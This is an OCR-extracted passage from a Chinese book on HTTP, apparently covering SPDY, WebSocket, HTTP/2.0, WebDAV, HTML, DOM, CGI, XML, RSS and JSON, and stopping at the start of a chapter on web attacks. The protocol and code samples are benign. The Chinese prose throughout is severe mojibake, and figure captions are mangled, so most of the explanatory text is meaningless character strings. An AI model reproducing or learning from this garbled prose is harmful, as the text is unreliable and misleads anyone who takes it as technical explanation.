Cookie, FITLL Session ID 2 RIERIAR S 2% IR 55w it v a8 i 56 1
B2 B H) Session ID 1R 51 A P AT HAAEIR S

1 LA BB RN IS4, A ] FAR AN TR 5 32 22 41

FA, AT R AYUER G55 B SANE FE AR T AL 175
AR 55 2 i L A 4] ORAF P SRS R B 56 6 A5 B S B B B AL

EH, — PR ANRAE T, SR AN (salo) 77 2
mEsME R, FHEH A (hash) pRECHE EBOE G RAF. (H2EIR
M2 H A B B DR A W SCE RS R0, TR 0% B 3 80 Y
it 25 ) RS o

1 salt FLSCwl 2t AR S5 A BEALZE B — D745 e, (ERELMIERE LK, JFHZ
FOEREHLAE R . 2RE IS E SRS 717 B AER (AR LD ENESIME. =
PSP T R AR, i RERLAS B salt fEANR], 0 R R REAIME -tk
AR Rk, ARKREE Bd 1A AE, Mo & st AR AR B 2
PR B R R AE B AT B . —— BT

169



o w  FT HTTP FIHESIE I
IS

HAR HTTP Pr3 B 5 X faid, (HBEE MK AR, FHIhae e b
B S S . AR UHEIE T HTTP Bl 1 ThAE A b
Wo

9.1 T HTTP [{jihiL

FEEEST HTTP bR RITEIT, 1T # 3 2484 HTTP 4 /E4E % HTML 3
RIS BEEBRACI AR 8, Web W HIEE H 200, HeinisE b slife
Mk, SNS (Social Networking Service, #HAZMZEARSS) « A
W ERAH AN S A E T B, 5%,

173 28 Y 3 16 SR R D RE PT I Web W AN IAS AR Fp SE I . RIS IR
BETHRE Q2o 2 oK, FEVERE EANR Db e, X2 KOy HTTP Bl b
BRI LA L B S REA R -

HTTP Zhfe b AA 2 alil i G —E 208 P BOR TR Ab . AT JE H A ZE

T HTTP # Web W % 23 48 FH A S 2ol A 4Bk, BRIk e s
HTTP. A ¥l RN 2 3T HTTP /), FEE RS Basin T
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BRI T E

9.2 Y4F&: HTTP %) SPDY

Google 7£ 2010 & 4% / SPDY (HXH SPeeDY, K %I speedy) ,
JER BAs B FEM O HTTP B RS, 4gkd Web DT 1 ()0 28 [A]
(50%) -

e SPDY - The Chromium Projects

http://www.chromium.org/spdy/
9.2.1 HTTP [0

{E Facebook 1 Twitter 25 SNS Mk F, JU-T-HE W6 SZH Wl %2 213 & H
NHRAPIANE, XM R Y)La. JLTFIRHAP RAAR
B, Web W N T ARAFIX LL 18 N2, 7EARFE RIS [B] N & KA K E
RN 25 B T

N TR AT BE LR L BRI LS TN S, RS e L —H WAL, 6t
L PR A N A R B P i Y T . B SRR SO HE AT BT,
{5 HTTP IG5 % 2 AL B T X T4 T 45 .

fEF HTTP PR SCGRHAIAR 55 % L2 5 WA ERT, St U 2 W&
ii?ﬂg%%{%%ﬁﬂ”ﬁi&ﬁﬁﬁwo IR S5 ERcE WEER, Bamer 4t
57 HYEAE .«

A BAEIA Web SEILFT T B)ZhAE, LLNIXLE HTTP Frifkml s i
o

o FKIEHERWKIENER.
RABENT o T 46 o % 7 S A ] LR B i Bz BL AR [ 95

B> i

o 1HK /W NE FROR LR A RIS . B BB S B IR R

o BOETUKHIE HE . UK TLAR I M DB 0 AR R 2
%.

171


http://www.chromium.org/spdy/

o NAERIEFEE LAt ARsRi S gE L

—
Iy
TERBHEH,
HEEHIEL
BRE—K
ik
N | [orms
¢ e e SN
[émﬂﬁw&ﬁmﬁﬁula i e x
%%
i .

Kl: CLETH HTTP @E{F
Ajax [P fif 177 12

Ajax (Asynchronous JavaScript and XML, 3% #¥ JavaScript 5 XML
AR &—FH R JavaScript #1 DOM (Document Object Model, 3
ERF R BERAE, LLA SR Web U & 4 i i) 2 A2 A4S

Br. MUHTHIEZZ @AM, BT e R — 0 0w, s e
E e = R, XL R R S .

Ajax IHZ O H AR J& 44 4 XMLHttpRequest H API, J#id JavaScript A
5 S PR s BE AT AR 25 28 64T HTTP 815 . & HXFFE, migeNE
Iz e B ) Web U BTG SK, R B8 R IR

A Ajax SERFB MR G528 RN 2, A AT RE = T SRR R
Ao 54, Ajax TR HTTP PSR S 4778 1) 7] 75
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T
AR .
Bk o
| <ABHEYHE
- FralgEsET >
R
[%Kﬂﬁmﬁﬁﬁ@%%ﬂﬂ ENRE
0] fof BERE
) BRE

K. Ajax J#(E
Comet 1) fif 175 V%

—HRS Pmim A NEEH 1, Comet AexibiERE, MEEHBEAE
R (B B o IX 8 — FjE Tt GE IR Y, R AU S IR 55 2 Ui ) 25 Ui
HEiX (Server Push) HIIIHE.

WE, ARSS S im R RITE K, AL SE R e 2 SRR [ N, {H Oy
T SEMUAEIATIRE, Comet 2 SRmi N B T HIEARZS, RS a0 im A N
AW, FRENZWN. K, BRSasin— B, win] BAZR]
SNG4 3 i o

N B B AR R DA SR B, ED 1 ORBE N, — ROE 13 [ R S

AR o WA, N T YERRER S HAEE Z IR, 34k, Comet
BASARSAE S HTTP PRSUAS B A7 AE 1 17 i
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IRs538

] | <RBBEE
= | ARERAS

0 R BEH>
<o SLI T @M — B E ¥l Bp
BEE > 1R [B] ) R7
-3
=Y ER Eh vy CIE AR |
[ - J 0fe] BT E4 %
¢ WEELRIE

Kl: Comet i fZ

SPDY 1] H #5

22 H LA Ajax FI Comet 5548 5 &y AR, — @ 2E _L{F HTTP
33 7, (H HTTP hisllA S R H S NF R F K. N Tt
ITIRAMR NS, FEA—SEEm B SE).

RETFFFBIT RS ) SPDY BMl,  1EEN 1M S0 T K HTTP
P A A

9.2.2 SPDY {j¥it 5 IhhE

SPDY %A 5240’5 HTTP %, T&LE TCP/IP KN E S5izmZE 2
3@ ek B RIElE. [FInt, EER24e NS, SPDY
SE IS R SSL.

SPDY VLG EITERINN, #ZHEHE IR s, (Hib& X HTTP

AT R R, Rk, AR SR HTTP i) GET A1 POST 457 74
Cookie VA HTTP ik &%,

174



I Y

HTTP MAE
h- >

SPDY 2IEE
pod ik

so) T
b

TP EEl=
R =

SPDY 4+ F TCP(SSLYFIHTTP = [8)
K. SPDY ¥ it
fiH SPDY &, HTTP P #is3k45 LT Dige
Z ik S H

WL TCP ¥ERE, Al LUEIRHIAEE 24> HTTP 55K, PraigR
AL BRARAE — 2% TCP &% 58, Rtk TCP BAL IR 21 .

T A T K W w44

SPDY AMY A PATG PR i I & AL FRiE SR, 36 A] PAZS 15 SRIZAS 7 Be Al
FINy . XFEFERA TAERIEZANTERES, o Ry 5 K S 20
IS AR P () ] R

£ 45 HTTP & 3

48 HTTP 35 KA N & XAk, 8157 AL EdE B AR
FIE M TR T

SCREAR G o Bl ) 25 i A A O ThRE . IXFE, RS54 il B kIS
B, AL SERE 2 g R K

AR 55 % P 7 T g
Hi S5 5 AT VAL By s 7 om i oK B s (R B85 P 4225 7 i A B iR
ZHT AT LSRRI BRI AFAE, IAE R IR O A7 5F 16 00 T, AT LA 4
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RIER BRI
9.2.3 SPDY JHFx Web Jifisin | 1

i B SPDY B, Web [ A 2w A U 2% ek sl , 1 Web X1
WESL T Web RS 2R E AN N SPDY it — R Eioksh. AT
JLZK Web Il %28 L4841t SPDY i T AN %, A 4h, Web Ak
ﬁ%&&i&ﬁ?%ﬁwﬁ PN, (E3EZEAR T SZERAT Web MY 21
it ANEE

K179 SPDY JeA R R A4 CIP il RIEEZmEM, fr
L —> Web Rl EAE A 2842 R RIBHR, BSOS RCR B & 2 BIIR
fill o

SPDY HIHfi & —F I A 80H & HTTP S E AR, (HIRZ Web k17
FE Y )@ AR 2 i HTTP ST 3 3. X Web 748 & s JE 12

Tb, I8Nz N IHAR P EE I 3 N T, R UeE Web A2 Y
575

9.3 fH R AT X T EE 1
WebSocket

FIH Ajax A1 Comet R AT IE(S 7T LAIEF+ Web BB a3 . (H ] @
ETIE(EE M HTTP B, SEICIEMIEC R oLt a] 8. WebSocket
X 285 57 AR IE S D i R 3K A ] e g S B R — B s . AP

I R WebSocket 115 HTMLS FrfE ) —#43, 10 ILAE & HIZ W

AR T ST MR . WebSocket IS HMNAE 2011 4 12 A 11 H,
#% RFC 6455 - The WebSocket Protocol 5& AhRE

9.3.1 WebSocket [{]#% 115 IhiE

WebSocket, B Web 3| %28 5 Web ik 5525 2 [B] X TiEEfnE. H
tH, WebSocket WX H IETF & NFritE, WebSocket API B W3C &N
PritE o ITEIT K H I WebSocket HR FZ RN [ ik Ajax A1 Comet
B XMLHttpRequest Ff} 7 (18R e B 5| &2 1 7] &

9.3.2 WebSocket i
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— H Web IR 5525 5 % ] i |6 22 37 2 WebSocket FiM3 Fr)IE {5 %,
2 JG BT A BIEE AR FE XN L I GHAT o JEE I RE AT B k%
JSON. XML. HTML %K B 254 F =A% 2 B

H T2 @524 HTTP 24l B, BRb&ERR A E T 2% i,
I — LA WebSocket 1815 1EH:, MRS 2L R Pin, (EE—7
AR B AR AN 7 K IE R S .

NHFRAF) 2T WebSocket T3 A 3= 4T 15,

HEIL T RE

SCRF IR S5 #1905 7 AR B O HEIS D RE . IXFF, MRSl ERK
BAHE, A LER R I TE R .

A BN

R iR =1

B S WebSocket &z, i 2 — EHIRFFRERIRES . 1 HTTP 44
b, AMERRGERR BRI EED,  T H BT WebSocket 1Y 5 S
IR/, BEEWAMAHNED T

N T SEH WebSocket 1815, £ HTTP B EHE VI 2 5, TEEM—
R“¥£F> (Handshaking) I HE,

o ETF-IFHK

N7 528 WebSocket JE15, 755 %] HTTP () Upgrade 1 ¥ 7
B, HAIRSAEAAUORANA, CLEEEFIHB.

GET /chat HTTP/1.1

Host: server.example.com

Upgrade: websocket

Connection: Upgrade

Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25j72Q==
Origin: http://example.com
Sec-WebSocket-Protocol: chat, superchat
Sec-WebSocket-Version: 13

Sec-WebSocket-Key 7Bt Wit 3 & & F- 1 12 o A AT b 1 B
Sec-WebSocket-Protocol 7B N 1c 348 FH B -F 11 .

gziﬁ@fx WebSocket VMY AREFEIEE /A RIR, & X HTseER:
VAT
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o BT i B
X F 2 IAIiE R, IR [BPIRZSAS 101 Switching Protocols 1 Y .

HTTP/1.1 101 Switching Protocols

Upgrade: websocket

Connection: Upgrade

Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+x0o0=
Sec-WebSocket-Protocol: chat

Sec-WebSocket-Accept 7B H A& H 2 F1E K H [ Sec-
WebSocket-Key 17 B H A2 BT -

% DhiE T 57 WebSocket 2 J5, 1S A HAEH HTTP %L
PEi, 1% A WebSocket A8 37 H s i .

& P i _
— 7 | BF-EX S 2 M FF 14 0 3 2
_( Upgrade: websocket )\) HTTP#iY, PRl
HTTP BE- P | BPRERRERE

é———’/(ﬂ'ﬂ Switching Protocolsj_ I
""""""""""""""""""""""""""" i WebSocket il

WebSocket ) URL & =,
ws:ffexample.com/

wss:/lexample.com
WebSocket P— 1/ P /
5| WebSocket ¥ 3£
BEMR BeNIiEE, B
« LERERIETAE
RIAREAE Fidk, TEEXR
i EHIE

K. WebSocket iH[Z
e WebSocket API

JavaScript 7] i F“The WebSocket
API” (http://www.w3.org/TR/websockets/, H W3C #rifEiilE) A
PEALH) WebSocket #2742 11,  LLSEIHH WebSocket 3 T 4= X T2

DL i H WebSocket API, 50ms % — R B S2 4
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http://www.w3.org/TR/websockets/

var socket = new WebSocket('ws://game.example.com:12010
socket.onopen = function () {
setInterval(function() {
if (socket.bufferedAmount == 0)
socket.send(getUpdateData());
}, 50);
}s

9.4 HHHy A K] HTTP/2.0

H AT E7 0 HTTP/1.1 FrifE, H 1999 4E K A6 [ RFC2616 2 J5 F A&
T E1T . SPDY F1 WebSocket 2545 Ry 4y I, R XEWT = HTTP/1.1
id AT 2T Web BT

B 57 BN F R AR R IETF (Internet Engineering Task Force, 5.Jk MY
TFTS4H) f1)57 httpbis (Hypertext Transfer Protocol

Bis, http://datatracker.ietf.org/wg/httpbis/) TAF4, H HFrRHESET—
A HTTP——HTTP/2.0 7£ 2014 4 11 H SLHARAELL .

HTTP/2.0 114
HTTP/2.0 /) B fns& 2508 FH P AEd F Web B 3 BEARLS . BT 364 I
#iox St HTTP/1.1 5 TCP #&E#:, IUAEFRATLL R H 1 iX e i Ay FE
i, R — N ENTRSEI k.

e SPDY

e HTTP Speed + Mobility

e Network-Friendly HTTP Upgrade
HTTP Speed + Mobility i3k ARl 5L, & H T HGE I3 =2 30 i
A IS PR A TR S AN BE AR . "B ST AE Google A H) HE H ) SPDY
5 WebSocket [F13EmE 2 F.

Network-Friendly HTTP Upgrade 3= % /& 75 # s i (5 I 203 HTTP 4%
BE I PRt

HTTP/2.0 1) 7 Wi AR it ie
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http://datatracker.ietf.org/wg/httpbis/

HTTP/2.0 Hl5eE F 21 7 MEAR#ATIE, BB (201248 H 13
H> , K& T RAH LM EIAR . (B2, weiiERes:, Frbh
ANBEHER 2 R A FE RS I A ge ik .

% 9-1

JE 4 SPDY. Friendly

EZ B SPDY

TLS X554k Speed+ Mobility

P Speed+ Mobility, Friendly

% Pt B, (Client Pul) /ARSS 25 4fEi%
(Server Push)

Speed+ Mobility

kel

SPDY

WebSocket

Speed+ Mobility

7E: HTTP Speed + Mobility % 5 N Speed + Mobility, Network-Friendly HTTP

Upgrade 4’5 4 Friendly.

9.5 Web J} 552245 0 T/ 1] WebDAV

WebDAV (Web-based Distributed Authoring and Versioning, 3& T /74
A SBIERTRRATE B & — XS Web IkR%5 28 LRI A B4
1730 SRR I A O R Gt BT & HTTP/1.1

RIB S e X AE RFC4918.

R 7RI MBRSCHSEIEARThRE, BB R EE B S
R AR E AR P N A B S I RE,  BLR SO A B BT

A2 T RE o
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>
WebDAV
pa
Ty

WebDAV BN Web AR5588 L 0932178 1E

Y Y
>

AR 55 38

/A

) f

0/ R B0

Kl: WebDAV

¥ | HTTP/1.1 ] PUT /57541 DELETE 535, FEAl LA Web AR 4552
RIS AT R A R ERE . AR T e LR RE, —
AT .

9.5.1 ¥ /& HTTP/1.1 Y] WebDAV

B ARSS A5 B BEUR, WebDAV BTG N 7 —eMid, a0k s

ok oy

XHCREM

— YH¥H: XHC
T FKiv. 1024KB
f]E# % . ueno sen

XA B HC
=LA

M A

K. WebDAV ¥ J& 18k &
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%45 (Collection) : R — MG —EHZPEFEHME . LESKA
AT JEAT & MR . T SRR & AR A X FE RIS N .

ZJR (Resource) : T AFERE S NFEIE .

B (Property) : & XHIHAEME . & XL« IR =H2r#
1T«

B (Lock) : AP BERIIEMBINE. 2 NFENFidHE, nf
B 1A 7] — B TR AT RSN

9.5.2 WebDAV #3815 MRS

WebDAV NS A B, [0 HTTP/1.1 9B N T DA R ix ey
o

PROPFIND : FRHUJE M

PROPPATCH : 1&g

MKCOL : @44

COPY : E |5t &tk

MOVE : #3) % i

LOCK : B hnst

UNLOCK : 8 fif

NEEEY RHITTE, RESEBFEZY R,

102 Processing : 7 IE A0 #IE K, (HH A2 AUIRES
207 Multi-Status : {77E 2 MRS

422 Unprocessible Entity : #&%=0IEM, HAEA IR
423 Locked : 5 L4 i

424 Failed Dependency : Ab¥ 5 HAE R ICHE G R I M, K LA -4
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RO 2
507 Insufficient Storage : {17 % [A]ANE
o WebDAV [1]1# 3K SE 45

T T A2 {8 PROPFIND 757X http://www.example.com/file KT
AU MR TE K

PROPFIND /file HTTP/1.1

Host: www.example.com

Content-Type: application/xml; charset="utf-8"
Content-Length: 219

<?xml version="1.0" encoding="utf-8" ?>
<D:propfind xmlns:D="DAV:">
<D:prop xmlns:R="http://ns.example.com/boxschema/">
<R:bigbox/>
<R:author/>
<R:DingALing/>
<R:Random/>
</D:prop>
</D:propfind>

o WebDAV [F] i v/ 52451

N &% 2 BT PROPFIND 777, R[]
http://www.example.com/file FJJ& T4 FI M B

HTTP/1.1 207 Multi-Status
Content-Type: application/xml; charset="utf-8"
Content-Length: 831

<?xml version="1.0" encoding="utf-8" ?>
<D:multistatus xmlns:D="DAV:">
<D:response xmlns:R="http://ns.example.com/boxschema/’
<D:href>http://www.example.com/file</D:href>
<D:propstat>
<D:prop>
<R:bigbox>
<R:BoxType>Box type A</R:BoxType>
</R:bigbox>
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<R:author>
<R:Name>J.J. Johnson</R:Name>
</R:author>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
<D:propstat>
<D:prop><R:DingALing/><R:Random/></D:prop>
<D:status>HTTP/1.1 403 Forbidden</D:status>
<D:responsedescription> The user does not have acc
</D:responsedescription>
</D:propstat>
</D:response>
<D:responsedescription> There has been an access violad
</D:responsedescription>
</D:multistatus>

AR HTTP W2 A an b3z

AFEYHE 7L HTTPARSRERR UL 2. A4 HTTP 1)
BZARREE QL2 e ?

L, B SN LI ) RSB, 36w ZE R g S SL il
ﬁ%%%ﬂ@%%%ﬁo@%ﬁ,ﬁ%HﬂP%%%ﬂ%#ET%

XA FEZ R, Hrp 5l s B Kb e 5 SR K
R B KIRAIFEATHRER R S8 IR AR TR R I P BON 3w 5 (1 3 208
o DAt SR S W i g 115 DU b A e 7 K e B

HE b, R R E RS )E Web. AN B4V 8 FTP
SSH AR, — M T #R TR Web K517 . Web 2 3&F HTTP
SGBER), [RIHEREE Web IS5 280U i) Web ¥ sl , 75956
WE K5 HTTP (80/tcp) A1 HTTPS (443/tcp) HIALRR

Y2 A B O e R HTTP /B B E s, BRI A FE
o K€ « BT L HTTP B AR X — R . X2
e HTTP AR5 B0N &AW hn i 5K 2 —.

wH— %ﬁ@@l tban, 7EA HTTP & b A b 2% EAH 243
J, HTTP AR5 as 8 E Ol E S, HTTP A 5 5t 200 =7 1N H
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F10 % FE Web NAERITIR

£ Web WIS, FAT R GE 30 S AR L v A Ay B N A . s,
Web IS M EAE R, RENFEZRHANE.

10.1 HTML

10.1.1 Web J1f JLF 4 H1 HTML ) &

HTML (HyperText Markup Language, X ARCIES) BN J RiE
Web I SCA (Hypertext) M AKPIFFICIES « A E— MRy
R4, "RXHEHEEMENGEESHMEE OUREE RS #57
K, RUEFER A . ARicil 5 2 TRt 78 ORI 558 43 28 deitter 7l 1)
FREEPRZS, HRBM SR IES . FATIEHIAE HTML 3SR N 11
IX PR IR 45 B YA HTML 4325 (Tag)

I EATT YA K] Web LT LF- 22 8 HTML 5 R, B HTML #)

) SO e U NE A AT TESYE, EILHORIE R g Web 17T
1ffl o
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e . o 4
W A T 28T IF B HTML S AL 69 301
S

HTML hackr

kB 505 eSS HIWebTLH

K: HTML

PLRste Fl HTML 9 'S BSOS A1 1o 10X 47 HTML SCRES A IX A <
> %% i’gﬁ???ﬁ%ﬁ% FEARZEIIER N, SO AR, Bl
NE R Bz

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charsetd
<title>hackr.jp</title>
<style type="text/css">
.logo {

padding: 20px;

text-align: center;

}
</style>
</head>

<body>

<div class="1logo">
<p><img src="photo.jpg" alt="photo" width="240" height="12
<p><img src="hackr.gif" alt="hackr.jp" width="240" heights
<p><a href="http://hackr.jp/">hackr.jp</a> </p>

</div>

</body>

</html>

10.1.2 HTML A

Tim Berners-Lee #2 4 HTTP #Ex 1 [FES, @2 H 7 HTML JE24, 1993
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SEAER] RS2 1) NCSA (The National Center for Supercomputing
Applications, EZFERIFFENNHF L) KA | Mosaic Wl wads (H:
FEANEEA N GSER) , MRS HE Mosaic AT i) HTML, %t
— bR fE BI/E 9 HTML 1.0 %A

H fil ) BT i A /& HTMLA.01 bndE, 1999 4= 12 H W3C (World Wide
Web Consortium) ZHZREFFA X —A . T — A, Tt fE
2014 /A7 IE A HEFE A F HTMLS ARiE

HTMLS5 FraEANDUiE P 1 0 %3 g 2 18] (A s P R A, O HLT 38 SCAAR
NNy, BRESHEN, ShlEFCRBRREA).

245 H, HTML AR S MR R ) 8. A4 830 b s R 1A
HTML brfESEBl, By & B ARSESE, XA T HTML bR #ESE br
EHARG X IR,

10.1.3 %t CSS

CSS (Cascading Style Sheets, JZZ&FF3E) A LATE & Wi 23 HTML
NEIEFTER, BT ARG —. BIEZAMHE R HTML 3CRY,
I AR R ) CSS, a2 21 8 0L T AR s 2 24 . CSS
B L ORI SR A T B, IR BRI H .

FHAEFRATRE —A CSS .

.logo {
padding: 20px;
text-align: center;

}

FJ{EEF AR (selector) .logo HIFEETEHN, I {} FEEoR AR IR
H 5 W) padding: 20px <5 75 M A B IR € AR

Al R E HTML JG R B E /Y class. 1D Z54F Nk BEas K IR AL
1 R Y ]

10.2 37 HTML

10.2.1 il Web 1 sh & K F131 & HTML

188




FriEah 4 HTML (Dynamic HTML) , &8 & 7 i IATE 5 0% 5
A HTML NS AL AN B ORI RR o S B oy T BT 1]
Google Maps <5 1R 3l (I HLIE 50 H 2] 1 354 HTML.

A HTML FoAR 2 18 11 % 7 v AR 15 5 JavaScript,  SEHLR
HTML [ Web T )8 &M0&E . FJH DOM (Document Object
Model, SCAEXF G Al 5 E O BB AT HTML JT 3

10.2.2 FH 5% HTML ) DOM

DOM J& H LA#4E HTML SCASHT XML SCA% Y APT (Application
Programming Interface, M ZWFEFE) . fH DOM 7] LUK HTML
TR AER R R, WHUH TR NI R . BRI CSS HIJ&
PESE, Aol Bt R A TR

LI A JavaScript ZEHANE 5 X% DOM R#4E, w1 DA BLBE A fR] SR H
77 05 HTML (126748,

<body>
<h1>ZEHifIWeb % 4</hl>
<p>5F 1 #B4>  WebMM TR </p>
<p>FH T NI L EIRE</p>
<p>FBIE D BEFRKAENDS</p>
</body>

tbdn, M JavaScript FIfFAEERE, # ik HTML SRR 3 4N P ok
(PAR%5) HUBSCFEUER, <& N7 S,

<script type="text/javascript">
var content = document.getElementsByTagName('P');
content[2].style.color = '#FF0000';

</script>

document.getElementsByTagName('P') i) F getElementsByTagName

PR, MEEA HTML SCAY (document object) WHUH PItER . F Tk
] content[2].style.color = "#FF0000' i&+]$5 %€ content & 51 A4 2 (5 3
) TE R R B SO LI (#FF0000) .

DOM WAFAER-FI R L, T EATRI &R HTML HF & In s .
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10.3  Web N

10.3.1 jET Web {24t BE K] Web N H

Web N REARIEL Web DIRESRBEIIN FHRER . LLUIAYIuh . M L
fRAT. SNS. BBS. %5 %M e-learning 5. TIKM (Internet) =
WA (Intranet) b3 AT 2% 70 %46 1) Web B .

JEA N HTTP PR3] Web FRIAL A R0 27 i AR TG K, 3R (8]
HAESIFRINE . ATREE Web BORGBE &2, EEIX B0 A
ARV A R, B H 2L AR 81 HTML A& B .

ALl R 7> B I Y ARSI S A, TS Sa A 3 (1 N R
HASAA. Web MANITER T3S ABEZ Fo

HEAAR ) ISBN=
=5 ISBN=4798128090 4798128090

= o 5 -“'"'i_'.'?:.:'_:?' > |:| D

gy Eemee = 0] 7

== = G| EBaWebBSRImEFE | M l I
SHAHTMLAS

_ K []

st S— B i

’ ' ﬂ'_u = b 0f) N7 —
£ 8

TSI o EEEARSRS [ W
§7ESHTML J Q—I

K SIS NEMFSA R

10.3.2 5 Web k5543 LR 7 E ) CGI

CGI (Common Gateway Interface, MO 248 Web RS2 1E
RSB 28 7 S R AR SR HTE K Ja 8 K 45 R Fe it — AL . 7E CGI Y
TEHT, ERFaXhiE RN BN KEIE, tang]d HTML %3]
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ENSESE

ffH CGI A CGI #2f7, @ & H Perl. PHP. Ruby il C %%
IS S IS 1M R

cGl CGlI ‘:fiﬁ_
* - R‘:{

== = < m

WebfRr £ 2%
CGIE#E R A CGIFE AR E) — FhaN. $1

K. CGI

A K CGI H NI N R 1EZ % RFC3875“The Common Gateway
Interface (CGI) Version 1.1”

10.3.3 Java 13 M H Servlet

Servlet! & —FhBEEAR S 5L RIS NEHIFERF . Servlet & A Java
B — O, BT mm kg Java (JavaEE, Java
Enterprise Edition) [J—%B47

1 WER N EFES, EFRSE Java Serviete #AFKILH Serviet=Server+Applet, FiR
BERSEFT BT

ZHIBE M) CGL, TR xEERIER, B aEmEGs—k. Hit
— H iy E K, Web IS5 28 ZRHHAH 2 K714, 1M Servlet ia4T
1E 5 Web RS 23 HH R HERE S, BRIAZ B 28N 2. Servlet [R3iE
AT Web 254381 Servlet 2545

2 Servlet HAEAAE, ICAERERIE RS, RIS SARXS BEREZU B v & 1
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Serviet, £/ FMIPATRCRMNMARSGE . —FEHTE

Servlet {E AR CGI iHl B HiEA 3, B Java —AFE] T H K.

3 BERFFURIBAIRAE T, 347171 L DR Perl 415 10 CGL SEHLE Apache
HTTP Server 9 B mod_php 1M ATIZ 4T PHP 2. UL S ASP 4R,
I

CGl o =
n
( e N : CGIE
5 N CGIEF
5 J
FAERE BEFHNCCIRERF
Servlet 15 Hip=
( N
Web 222
: Servlet
L Y,

Servletiz fTEWeb &8
K. Servlet
BE& CGI W3 f, BRXIEREBEL G 3h# CGL #2711 CGIL iz AT HLHIZE

AT R T HEREIR AN, PATPAZ 5 Servlet A1 mod perl 5] HLF AT Web Al
Fan PIBATHRERF AU A .

10.4 B AT HIRS R S

10.4.1 A JBIRICIES

XML (eXtensible Markup Language, "4 JBIRiCIET ) & — Ml %
F HARATY BRE AR CIES . BEEIEH XML, 1 55N %L
P E R HER T .

XML F1 HTML % 4& MAn 8 FH #1155 SGML (Standard Generalized
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Markup Language) it a. 5 HTMLAHLEL, &% 83 1id %77 2
i1 RFRAL B

AL HTML 2% 5 (5% 2 =] T 2 SO A B EAT B

<html>
<head>
<title>TAEIHFF S F</title>
</head>
<body>
<h1>TRA AT &/ 4H</hl>
<ul>
<li>HFil 295 : TReO1
<ul>
<li>WebM 2 i gs i Wrif FE< /11>
</ul>
</1i>
<li>Wfit<%5: TRee2
<ul>
<li>M% RS Maga iz Wit ri< /11>
</ul>
</1i>
</ul>
</body>
</html>

PP AT IFZ SO, = WonH IR A%, (H AR IX L2
PO P B 2 R AT A 7 LR e BB R AL 4 ml i PR i A Ry AR ALE
B SCARRY 7V, (X HTML BURE R — BLoede, R EEE N A
WL ARG AS WAE 1o WAL, O 7 ORISR IE R, HTML A&
P e E i AR

B R IX 413 LA XML T S5 s 1 BN 7l o

<HHT S 45 ="TROO1" = fi="WebM FFEFNEagtEiZWriftmE">
<RA> w4 < /A
<HEELS TR N FiWeb S FH A2 7 e 55 PR 12 Wb B2 1)< / RE 22>
</ W2
<t 2 %5 ="TROO2" ="M RGNS THEIZSWIFRE" >
<KN> w4 < />
<HRED > IR NI FT I 285 R G5 i 55 PE S Wi b B2 .. </ REEL >
</ WFT 2>
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ZA(QMLE HTML —#%, AR ZEM R A5 H, I Honl B X Ebs

W/, o

M XML SCRY H s BCEHE LU S HTML 58 N8 . BT XML [ 45 14 3
A AR A I RRZE 4y B R T g5 4, DRI E VR o AT 28

(Parser) FAAENTIIREMNT XML 4504 - BUHBHE TR, WA H T
BT R

S oy S A 45 XML AE BRI B2 Bese . tan, al e
2 NANTE] RN 2 18] R A2 et A% U

10.4.2 A1 #1115 B RSS/Atom

RSS (i {5 B HKEG, WMARENE) F Atom #e K A e Bl i %
H S BHE SO RS SN B AR PR EHI 2] 7 XML,

RSS A UL RA, #FEMYw'S J7 A A

RSS 0.9 (RDF Site Summary) : ##]1) RSS itA. 1999 4F 3 H H X
SORE AT BATIF R THTT WG Al B A2 fE 4] 4 1) RDF
Fikg Lo

RSS 0.91 (Rich Site Summary) : 7& RSS0.9 Atk FH RotE, T
1999 4£ 7 ¥ k525, 4F RDF #i#%, 1 XML 745 .

RSS 1.0 (RDF Site Summary) : RSS ¥k 1IEAL FIRELIRAS . 2000 4
12 A B RSS-DEV LAEZH K RSS0.9 H i ¥ RDF B KA

RSS2.0 (Really Simple Syndication) : JF RSS1.0 KM . HhnC
FF RSS0.91 A2, 2000 4F 12 H M UserLand Software /A & FF & 5¢
}:&0

Atom B PL T PR ARE

Atom L7544 20 (Atom Syndication Format) : A& i N 211 il 58 i)
R ki v B R EAS 2 B Atom B, B R BE AR

Atom il 73 i ( Atom Publishing Protocol) : > Web | [N 2 f) it
B A5 25T ) S PR
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F T B2 595 B RSS B2y, XA L3 #F RSS #FT
H A LL A Atom.

N & RSS1.0 f7=H41 .

<?xml version="1.0" encoding="utf-8" ?>

<?xml-stylesheet href="http://d.hatena.ne.jp/sen-u/rssxsl" t
<rdf:RDF

xmlns="http://purl.org/rss/1.0/"
xmlns:rdf="http://www.w3.0rg/1999/02/22-rdf-syntax-ns#"
xmlns:content="http://purl.org/rss/1.0/modules/content/"
xmlns:dc="http://purl.org/dc/elements/1.1/"
xml:lang="ja">

<channel rdf:about="http://d.hatena.ne.jp/sen-u/rss">
<title>fHTHISCHid</title>
<link>http://d.hatena.ne.jp/sen-u/</link>
<description>fiF 2~ Hid</description>

</channel>

<item rdf:about="http://d.hatena.ne.jp/sen-u/20121215/p1">
<title>[security [R5 B 5 22 &R MEE — W< /title>
<link>http://d.hatena.ne.jp/sen-u/20121215/p1</1link>
<description> IERFTE“ZFTE Bounty Programs”. Ab¥i#:5ZWeblifi)
<dc:creator>sen-u</dc:creator>
<dc:date>2012-12-15</dc:date>
<dc:subject>security</dc:subject>

</item>

10.4.3 JavaScript iT4 M=% % H JSON

JSON (JavaScript Object Notation) #&—Ff1LA

JavaScript (ECMAScript) X & R1% A I 4% 2 AR 1018
To ARSI MEHERIAVE false/null/true/ X5/ BUH | BT | A
B, IX 7 PRERAL,

"name": "Web Application Security", "num": "TROO1"}

JSON iR sHalidE, JF H JSON i) 455 5 2 =0 n] #% JavaScript
BN . HWIECA XML AEHE Ajax AR M1k ISON 8 A8 75
BN 2. AAh, HARFRAEE S IR EE R ESS, DUARIRE
#/E JSON B H 1.
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A K JSON B NHISLI N 516 275 RFC4627“The application/json
Media Type for JavaScript Object Notation (JSON)”
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11 = Web I EEA

B _E B KRR Web wli i/ E 9 B bR AT g ARG IR EL Iy
i Web 36 R T B, LR 23 B ERE AR

11.1 &1 % Web 12045 A

{87 BLH) HTTP WA B FEAAFAE e i, KA & J LA S
OB AN %o N HTTP WX IR S5 a3 A% P o, LA S as AT 1 ARk
a5 1Y) Web N &5 T2 & B0 B

FRT, ok IR 35k K A I Web 3 ORI, TR £
